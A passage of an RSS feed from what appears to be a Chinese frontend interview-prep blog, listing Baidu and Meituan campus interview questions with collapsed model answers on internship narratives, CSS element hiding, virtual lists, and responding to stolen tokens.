&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-66/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 三面偏重项目经历、思维深度与工程解决方案，兼顾产品理解与算法能力。&lt;/p&gt;
&lt;p&gt;本轮共 6 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-65ee4eaa38e8"&gt;1. 讲一下之前的实习经历，主要负责什么工作，你们团队是做什么的？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;在回答实习经历时，可以遵循：
&lt;strong&gt;“团队是做什么的 → 自己负责了什么 → 过程中遇到的挑战 → 最终的结果和成长”&lt;/strong&gt;。
这样既能让面试官清楚地看到候选人的贡献，也能体现出对团队目标的理解和自身成长路径的清晰度。&lt;/p&gt;
&lt;p&gt;要不要我帮你准备几个&lt;strong&gt;可直接套用的实习经历表述范例&lt;/strong&gt;，比如业务团队和前端基础设施团队两个版本？&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题本质上考察的是&lt;strong&gt;候选人能否清晰表达实习经历的价值&lt;/strong&gt;，以及是否能将个人的工作与团队目标联系起来。回答时既要避免流水账式的叙述，也要避免过度拔高，而是重点体现&lt;strong&gt;做过什么、为什么做、产生了什么影响&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="回答思路"&gt;回答思路&lt;/h3&gt;
&lt;h4 id="1-团队定位与职责"&gt;1. 团队定位与职责&lt;/h4&gt;
&lt;p&gt;先交代团队是做什么的，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是否负责某条具体业务线（例如地图、金融、电商、内容平台）；&lt;/li&gt;
&lt;li&gt;是否是基础架构团队（组件库、工程化平台、性能优化、监控体系）；&lt;/li&gt;
&lt;li&gt;团队的核心目标是什么（提升用户体验、提升研发效率、支撑业务增长）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样能让面试官快速理解环境。&lt;/p&gt;
&lt;h4 id="2-个人负责的工作"&gt;2. 个人负责的工作&lt;/h4&gt;
&lt;p&gt;描述时可以抓住几个关键词：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心任务&lt;/strong&gt;：负责开发某个功能模块、参与前端组件封装、接入监控埋点、优化性能等；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协作方式&lt;/strong&gt;：是否需要和后端、测试、设计配合，是否参与需求评审或接口联调；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;挑战与亮点&lt;/strong&gt;：是否遇到过性能瓶颈、复杂交互、数据量大等问题，是否提出了改进方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;避免简单说“写页面、改 bug”，而是强调“通过实现某个功能/优化某处性能，解决了某类问题”。&lt;/p&gt;
&lt;h4 id="3-收获与成长"&gt;3. 收获与成长&lt;/h4&gt;
&lt;p&gt;最后点出在实习期间的成长：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是否熟悉了前端项目的完整研发流程（需求 → 开发 → 测试 → 上线 → 复盘）；&lt;/li&gt;
&lt;li&gt;是否积累了在团队协作、代码规范、工程化工具上的经验；&lt;/li&gt;
&lt;li&gt;是否提升了技术能力，比如掌握了某些框架或优化手段。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a51e70b485ed"&gt;2. 在工作中遇到过什么问题，是怎么解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;这个问题的最佳回答路径是：
&lt;strong&gt;“提出一个具体问题 → 说明如何分析定位 → 阐述解决过程和思考 → 总结结果和反思”&lt;/strong&gt;。
重点不是问题有多难，而是展现出遇事冷静分析、推动落地并能沉淀经验的能力。&lt;/p&gt;
&lt;p&gt;要不要我帮你列几个&lt;strong&gt;可以直接在面试里使用的典型案例场景&lt;/strong&gt;，比如“性能优化”、“构建优化”、“协作问题”三类？&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题考察的是候选人的&lt;strong&gt;问题意识、分析能力、解决路径和复盘能力&lt;/strong&gt;。面试官关注的不是问题本身多么“高大上”，而是能否体现出&lt;strong&gt;逻辑清晰、方案合理、结果正向&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>百度-百度云-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-66/</link><pubDate>Thu, 24 Jul 2025 15:06:51 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-66/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-65/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-67/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 二面重点考察前端框架理解与性能优化能力，同时关注工程化处理思维和大规模数据处理能力。&lt;/p&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-e266174d498c"&gt;1. 元素隐藏的三种方法（display:none、visibility:hidden、opacity:0）及其区别&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;display: none&lt;/code&gt;：元素不在文档流中，不占位，无法响应事件。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;display: none&lt;/code&gt;：元素不在文档流中，不占位，无法响应事件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;visibility: hidden&lt;/code&gt;：占位但不可见，无法响应事件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;opacity: 0&lt;/code&gt;：占位且可响应事件（需用 &lt;code&gt;pointer-events: none&lt;/code&gt; 避免）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8f3da0a071c6"&gt;2. display:none是否影响DOM渲染性能？如何用CSS实现淡出动画？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;display:none&lt;/code&gt; 会从渲染树中移除，提升性能，但不能用于动画过渡。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;display:none&lt;/code&gt; 会从渲染树中移除，提升性能，但不能用于动画过渡。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;opacity + transition&lt;/code&gt; 实现淡出，再用 JS 延迟设置 &lt;code&gt;display:none&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ac93c5c2773f"&gt;3. &lt;code&gt;Array.from({ length: 5 }, (v, i) =&amp;gt; i * 2)&lt;/code&gt; 的输出是什么？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;输出 &lt;code&gt;[0, 2, 4, 6, 8]&lt;/code&gt;。构造一个长度为 5 的数组，并通过索引乘以 2 填充。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;输出 &lt;code&gt;[0, 2, 4, 6, 8]&lt;/code&gt;。构造一个长度为 5 的数组，并通过索引乘以 2 填充。&lt;/p&gt;</description></item><item><title>美团-优选-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-63/</link><pubDate>Tue, 22 Jul 2025 09:24:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-63/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-64/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础知识、项目经验以及问题解决能力。&lt;/p&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-8e1cd6867be4"&gt;1. 介绍一下你参与过的一个重要项目，包括项目背景、目标、技术栈以及你的角色和主要职责。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;该题是主观型问题，没有唯一标准答案。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;建议答题结构：首先概括项目，然后详细阐述项目背景、目标、技术栈，最后具体说明个人角色、职责与贡献。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我的一个重要项目是&amp;quot;企业级智能客服系统前端优化与重构&amp;quot;。这个项目主要目标是提升现有客服系统的用户体验和性能，解决老旧技术栈带来的开发维护效率低下问题，并支持后续功能迭代。&lt;/p&gt;
&lt;p&gt;项目背景是，公司原有的客服系统基于jQuery和少量原生JS开发，代码耦合度高，组件复用性差，加载速度慢，且难以适应移动端多渠道接入的需求。用户反馈系统卡顿、响应慢，客服人员操作效率受影响。因此，我们团队决定对前端进行一次彻底的优化与重构，旨在将其升级为一套现代化、高性能、易于扩展的Web应用。&lt;/p&gt;
&lt;p&gt;我在这个项目中担任核心前端开发，主要职责包括：参与技术选型与架构设计讨论；负责核心模块（如聊天窗口、工单管理、智能问答）的组件化开发和性能优化；协调前后端接口联调；编写单元测试和端到端测试；以及进行线上问题的快速响应和修复。在技术栈上，我们选择了React作为主框架，配合TypeScript进行类型管理，使用Redux进行状态管理，Webpack进行模块打包，并引入Ant Design作为UI组件库，以加速开发效率并保证UI一致性。&lt;/p&gt;
&lt;p&gt;具体来说，我主导了聊天模块的重构，将其从原来复杂的DOM操作和回调函数地狱，改造为基于React组件和Hooks的声明式UI。通过引入虚拟列表技术，解决了海量消息导致页面卡顿的问题，使得聊天记录即使达到上万条也能保持流畅滚动。此外，我还优化了消息发送机制，利用WebSocket实现了实时消息推送，减少了轮询开销。在性能方面，通过代码分割、图片懒加载等手段，将首屏加载时间从原来的8秒优化到2秒以内。整个重构过程不仅提升了系统的稳定性和用户满意度，也大大降低了后续功能开发的门槛和时间成本，为团队技术栈升级和业务发展奠定了坚实基础。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-36be8f8e9a6f"&gt;2. 在项目中，有没有遇到过什么技术难题？你是如何解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;该题是主观型问题，没有唯一标准答案。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的技术深度、问题解决能力、逻辑思维和学习能力。&lt;/li&gt;
&lt;li&gt;建议答题结构：首先描述一个具体的技术难题，然后阐述你分析问题、寻找解决方案的过程，最后说明解决方案的细节、效果和你的思考。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在之前负责的&amp;quot;企业级智能客服系统前端优化与重构&amp;quot;项目中，我们遇到了一个比较棘手的技术难题，就是&lt;strong&gt;前端内存占用过高导致页面卡顿和崩溃&lt;/strong&gt;的问题。&lt;/p&gt;
&lt;p&gt;这个系统有一个核心功能是聊天记录展示，用户可能会长时间使用，导致累积大量消息。最初的版本，每条消息都是一个独立的DOM节点，当消息数量达到几千甚至上万条时，DOM节点数量急剧增加，导致浏览器内存占用飙升，页面滚动变得非常卡顿，甚至在一些配置较低的设备上直接崩溃。用户反馈非常强烈，严重影响了客服人员的工作效率。&lt;/p&gt;
&lt;p&gt;为了解决这个问题，我首先进行了性能分析，通过Chrome开发者工具的Performance和Memory面板，确认了是DOM节点过多和重复渲染导致的内存泄漏和性能瓶颈。随后，我开始研究前端长列表的优化方案，主要考察了**虚拟列表（Virtual List）**技术。虚拟列表的核心思想是只渲染可视区域内的DOM元素，非可视区域的元素进行回收复用，从而大大减少DOM数量。&lt;/p&gt;
&lt;p&gt;具体实施时，我引入了一个成熟的虚拟列表库，并根据项目需求对其进行了定制化开发。首先，需要计算每个列表项的动态高度，因为消息内容可能长短不一，包含图片、表情等不同元素。我采用了一种策略：在首次渲染时估算高度，并在图片加载完成后或内容变化时动态调整。其次，我设计了&amp;quot;缓冲区域&amp;quot;，即在可视区域上下各多渲染一定数量的元素，以保证用户快速滚动时的流畅体验，避免出现白屏。最后，我优化了数据加载逻辑，当用户滚动到列表底部时，只加载下一页数据并追加到虚拟列表的数据源中，而不是重新渲染整个列表。&lt;/p&gt;
&lt;p&gt;通过实施虚拟列表，我们将聊天窗口的DOM节点数量从数万个降低到稳定在几十个到一百个之间，极大地减少了内存占用。实际测试显示，即使加载十万条消息，页面也能保持流畅滚动，响应速度显著提升。这个方案不仅解决了当前的性能痛点，也为系统后续的消息富文本支持、历史记录加载等复杂功能提供了坚实的基础，避免了未来可能出现的类似问题。整个过程中，我学到了如何深入分析前端性能瓶颈，以及如何选择和应用合适的优化技术来解决实际问题。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-2e4de664c4bc"&gt;3. 如果项目中的 token 被窃取了，你会采取哪些措施来应对？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;该题是主观型问题，没有唯一标准答案。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者对安全问题的认知、应急响应能力和系统性思考。&lt;/li&gt;
&lt;li&gt;建议答题结构：首先说明 token 被窃取的危害，然后从&amp;quot;发现-应对-预防&amp;quot;三个层面阐述具体措施，最后强调持续安全防护的重要性。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;当项目中的 token 被窃取，这无疑是一个严重的安全事件，因为它可能导致用户身份被冒用，数据泄露，甚至对系统造成进一步的破坏。我的应对措施会从紧急响应、事后恢复和长期预防三个层面展开。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;首先是紧急响应和止损。&lt;/strong&gt; 一旦发现 token 存在被窃取的风险或已确认被窃取，最核心的措施是&lt;strong&gt;立即强制所有用户的 token 失效或重置&lt;/strong&gt;。这可以通过后端来实现，比如在数据库中将相关 token 标记为无效，或者更新用户会话状态，迫使其重新登录。同时，我会立即通知受影响的用户（如果可以定位到），告知他们 token 失效并要求重新登录，并建议他们检查个人信息是否有异常。在此期间，还需要暂停或限制可疑IP地址或异常行为的访问，以阻止攻击的进一步扩散。例如，如果发现某个账号在短时间内有大量异常登录尝试或数据请求，应立即锁定该账号并通知用户。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;其次是事后恢复与溯源。&lt;/strong&gt; 在完成紧急止损后，需要立即展开详细的调查和分析，以确定 token 是如何被窃取的，攻击的范围有多大，以及是否有数据泄露或系统被篡改的证据。这包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;日志分析&lt;/strong&gt;：仔细检查服务器访问日志、应用日志和安全日志，查找异常的登录行为、API调用、IP地址或用户代理信息。重点关注 token 签发、刷新和验证的日志。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码审计&lt;/strong&gt;：对可能存在安全漏洞的代码进行审查，例如是否存在XSS漏洞导致前端窃取，或者后端存储、传输 token 的方式是否安全。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户影响评估&lt;/strong&gt;：评估有多少用户受到影响，以及可能泄露了哪些数据。根据评估结果，制定更详细的恢复计划，例如是否需要回滚某些操作，或者向受影响用户提供进一步的帮助。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;最后是长期预防措施。&lt;/strong&gt; 针对这次事件暴露出的问题，我们需要采取一系列措施来增强系统的整体安全性，防止类似事件再次发生：&lt;/p&gt;</description></item><item><title>美团-优选-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-64/</link><pubDate>Tue, 22 Jul 2025 09:24:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-64/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-63/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-3635fccde573"&gt;1. 为什么大二就开始实习呢？当时是怎么考虑的？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：首先说明实习的初衷和驱动力，然后结合个人成长和职业规划阐述实习带来的收获和影响，最后可以适当提及对未来发展的思考。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;其实，我选择在大二就开始实习，主要是出于对前端开发浓厚的热情和对实践经验的渴望。当时在学校学习理论知识时，我逐渐意识到，真正的项目开发与课堂学习存在很大差异。我非常希望能够尽早接触到真实的项目环境，了解企业级开发的流程、规范以及团队协作的方式。&lt;/p&gt;
&lt;p&gt;我的考虑是多方面的。首先，我想通过实习来验证自己所学知识的实用性，并在实际工作中发现自身的不足，从而有针对性地提升技能。其次，我相信尽早融入职场能够帮助我更好地理解行业需求，明确未来的职业发展方向。例如，在第一个实习项目中，我参与了一个电商后台管理系统的开发，亲身体验了从需求分析到功能上线的全过程，这让我对前端开发的整体链路有了更深刻的理解，也意识到代码质量、模块化和组件化在大型项目中的重要性。这段经历不仅提升了我的编码能力，也让我学会了如何与产品、设计、后端团队高效沟通协作。可以说，大二的实习对我而言是一个非常重要的转折点，它让我更早地将理论与实践结合，为后续的学习和职业发展打下了坚实的基础。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8dea06f03e46"&gt;2. 在实习过程中，有没有发现自己对前端的理解和之前在学校学习时有什么不同？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：从理论与实践、个人能力成长、团队协作与项目流程、以及对行业理解等几个方面进行对比和阐述。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在实习过程中，我对前端的理解确实发生了很大的转变，与之前在学校学习时有了显著的不同。在学校，我们更多地关注理论知识、算法和数据结构，以及一些基础框架的用法，代码往往是为了实现某个功能点而存在，相对独立且注重单一技术点的掌握。比如，我们可能会花很多时间去学习React的生命周期、Redux的状态管理原理，但很少有机会将其应用到真实的、复杂的业务场景中。&lt;/p&gt;
&lt;p&gt;然而，实习让我意识到，前端开发远不止写代码那么简单。首先，&lt;strong&gt;理论与实践的差异&lt;/strong&gt;：在实际项目中，需要考虑的不仅仅是技术实现，更要关注业务需求、用户体验、性能优化、代码可维护性等多个维度。我学到，一个&amp;quot;好&amp;quot;的解决方案，不仅要能跑，还要易于维护、易于扩展。例如，在学校里写组件可能只关注功能实现，但在实习中我学会了如何设计可复用、可配置的通用组件，并考虑其在不同业务场景下的兼容性。其次，&lt;strong&gt;团队协作与项目流程&lt;/strong&gt;的重要性远超我的预期。在学校，我们更多是独立完成作业，而在公司，一个项目是多人协作的成果，需要频繁地与产品经理沟通需求，与设计师确认交互，与后端工程师对接接口。我学会了如何通过Code Review、Git工作流来保证团队代码质量和开发效率。&lt;/p&gt;
&lt;p&gt;最后，我对&lt;strong&gt;前端的广度和深度&lt;/strong&gt;有了更全面的认知。之前可能觉得前端就是&amp;quot;写页面&amp;quot;，现在才发现它涉及性能优化、跨端开发、工程化、自动化测试、前端安全等诸多领域。实习让我从一个&amp;quot;代码实现者&amp;quot;逐渐向一个&amp;quot;问题解决者&amp;quot;转变，开始更系统地思考如何构建一个高质量、高效率、可持续迭代的前端应用。这让我更加明确了未来学习和发展的方向，也激发了我对前端技术更深层次探索的兴趣。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-fc72bad1435d"&gt;3. 为什么选择前端开发这个方向？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：可以从个人兴趣、行业前景、技术特性、以及早期学习或项目经历等方面切入，阐述选择前端的理由。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我选择前端开发这个方向，主要是基于多方面的考虑和个人兴趣的驱动。最初接触编程时，我被前端所能实现的直观、可见的用户界面深深吸引。相对于后端更偏向逻辑和数据处理，前端能够将代码立即转化为用户可以直接交互和感知的视觉呈现，这种即时反馈的成就感对我来说非常重要。我喜欢通过自己的代码，让用户能够流畅、舒适地使用产品，并从中获得良好的体验。&lt;/p&gt;
&lt;p&gt;其次，前端技术栈的快速发展和广阔的行业前景也是吸引我的重要因素。Web技术日新月异，不断有新的框架、工具和解决方案涌现，这让我觉得前端是一个充满活力和挑战的领域，能够持续学习和成长。从最早的jQuery到现在的React、Vue，再到小程序、跨端框架，前端的应用场景越来越丰富，这让我看到了前端工程师在未来技术发展中的巨大潜力。&lt;/p&gt;
&lt;p&gt;此外，在校期间的一些项目经历也进一步坚定了我选择前端的决心。我曾参与开发过一个校园二手交易平台，从零开始搭建前端界面，设计用户交互流程，并解决了一系列兼容性、性能优化等问题。在这个过程中，我不仅提升了技术能力，更重要的是，我从中找到了解决问题的乐趣和创造的成就感。我喜欢与设计师、产品经理沟通，将抽象的需求转化为具体、友好的用户界面，这种跨领域的协作也让我觉得前端工作充满了挑战性和趣味性。综合这些因素，我坚信前端开发是一个既能发挥我兴趣特长，又能持续学习和成长的理想方向。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-98cefbbf7702"&gt;4. 学前端大概有多久了？之前是否有接触过其他编程语言？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：首先说明学习前端的时长，然后提及之前接触过的其他编程语言及其对前端学习的帮助，最后可以突出自己持续学习的能力。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我接触前端开发大约有三年时间了。从大二开始，我就对前端产生了浓厚的兴趣，并系统地投入到学习中。这三年里，我从基础的HTML、CSS、JavaScript开始，逐步深入学习了React、Vue等主流前端框架，以及Webpack、Vite等构建工具，并参与了一些实际项目开发。&lt;/p&gt;
&lt;p&gt;在学习前端之前，我在大学一年级接触过C++和Java等编程语言。C++的学习让我对底层逻辑、数据结构和算法有了初步的认识，培养了我的编程思维和解决问题的能力。而Java的学习则让我对面向对象编程、软件工程的思想有了更深的理解，尤其是在后端开发实践中，我了解了前后端分离、API接口设计等概念，这对于我理解前端与后端的数据交互和系统架构非常有帮助。这些早期的编程语言学习经历，为我后续学习JavaScript和前端框架打下了坚实的基础，让我能够更快地理解前端技术的原理和实现机制，例如，对数据结构和算法的理解，让我能够更好地优化前端应用的性能，提升用户体验。&lt;/p&gt;
&lt;p&gt;总的来说，虽然前端是我主要深耕的方向，但其他编程语言的学习经历拓宽了我的技术视野，也让我能够从更全面的角度去思考和解决前端开发中的问题。我始终保持着对新技术的学习热情，并乐于将不同领域的知识融会贯通，应用到实际项目中。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-4a042e09fb90"&gt;5. 你提到的两个项目，分别是什么？简单介绍一下它们的背景和功能。&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：分别介绍项目的背景、你的角色、主要负责的功能、以及项目中使用到的关键技术栈。强调项目亮点和你的贡献。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;好的，我很乐意介绍我参与的两个主要项目。&lt;/p&gt;
&lt;p&gt;第一个项目是一个&lt;strong&gt;在线教育平台的前端重构项目&lt;/strong&gt;。背景是公司原有的教育平台技术栈老旧，用户体验不佳，且维护成本高昂。我作为前端开发实习生，主要负责其中&amp;quot;课程详情页&amp;quot;和&amp;quot;直播互动模块&amp;quot;的重构工作。课程详情页的核心功能是展示课程内容、教师信息、课程大纲和用户评论，并支持课程购买和加入学习。直播互动模块则需要实现实时弹幕、点赞、提问和答疑等功能，确保高并发下的数据同步和流畅交互。&lt;/p&gt;
&lt;p&gt;在这个项目中，我主要负责：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;课程详情页：&lt;/strong&gt; 使用 React + Redux 技术栈，重构了页面组件，优化了数据请求和渲染逻辑，显著提升了页面加载速度和用户交互体验。特别是在图片懒加载和评论区无限滚动方面进行了性能优化，将首屏加载时间缩短了约30%。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;直播互动模块：&lt;/strong&gt; 参与了WebSocket通信的实现，确保弹幕消息的实时推送和展示。同时，为了保证在高并发场景下的性能，我们采用了虚拟列表技术来渲染大量弹幕，避免了DOM节点的过度渲染导致的页面卡顿。我还负责了前端的输入校验和敏感词过滤，确保互动内容的合规性。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第二个项目是一个&lt;strong&gt;企业内部的&amp;quot;项目管理系统&amp;quot;&lt;/strong&gt;。这个系统的背景是公司内部各部门的项目信息分散，缺乏统一的管理和协作平台，导致沟通效率低下。我主要负责其&amp;quot;任务看板&amp;quot;和&amp;quot;数据可视化报表&amp;quot;模块的开发。任务看板旨在提供一个直观的Kanban视图，展示项目的任务状态（待办、进行中、已完成），并支持拖拽排序、任务分配、截止日期设置等功能。数据可视化报表则需要将项目进度、成员工作量、缺陷趋势等数据通过图表形式清晰地呈现。&lt;/p&gt;
&lt;p&gt;在这个项目中，我主要负责：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;任务看板：&lt;/strong&gt; 采用了Vue 3 + Vuex + Element UIPlus 技术栈，实现了任务的增删改查和拖拽功能。为了提升用户体验，我利用Vue的响应式特性和虚拟DOM，确保了大量任务卡片操作时的流畅性。同时，设计并实现了自定义拖拽指令，提升了组件的通用性和可维护性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据可视化报表：&lt;/strong&gt; 集成了ECharts图表库，根据后端提供的API数据，实现了项目概览、成员工作负荷、Bug趋势等多种报表的动态渲染。我负责了数据的前端处理和格式化，确保图表能够准确、清晰地展示数据，并通过组件化封装，使得报表可以灵活配置和复用。在实现过程中，也针对数据量较大时的图表渲染性能做了优化，例如按需加载图表组件和数据预处理。&lt;/li&gt;
&lt;/ul&gt;
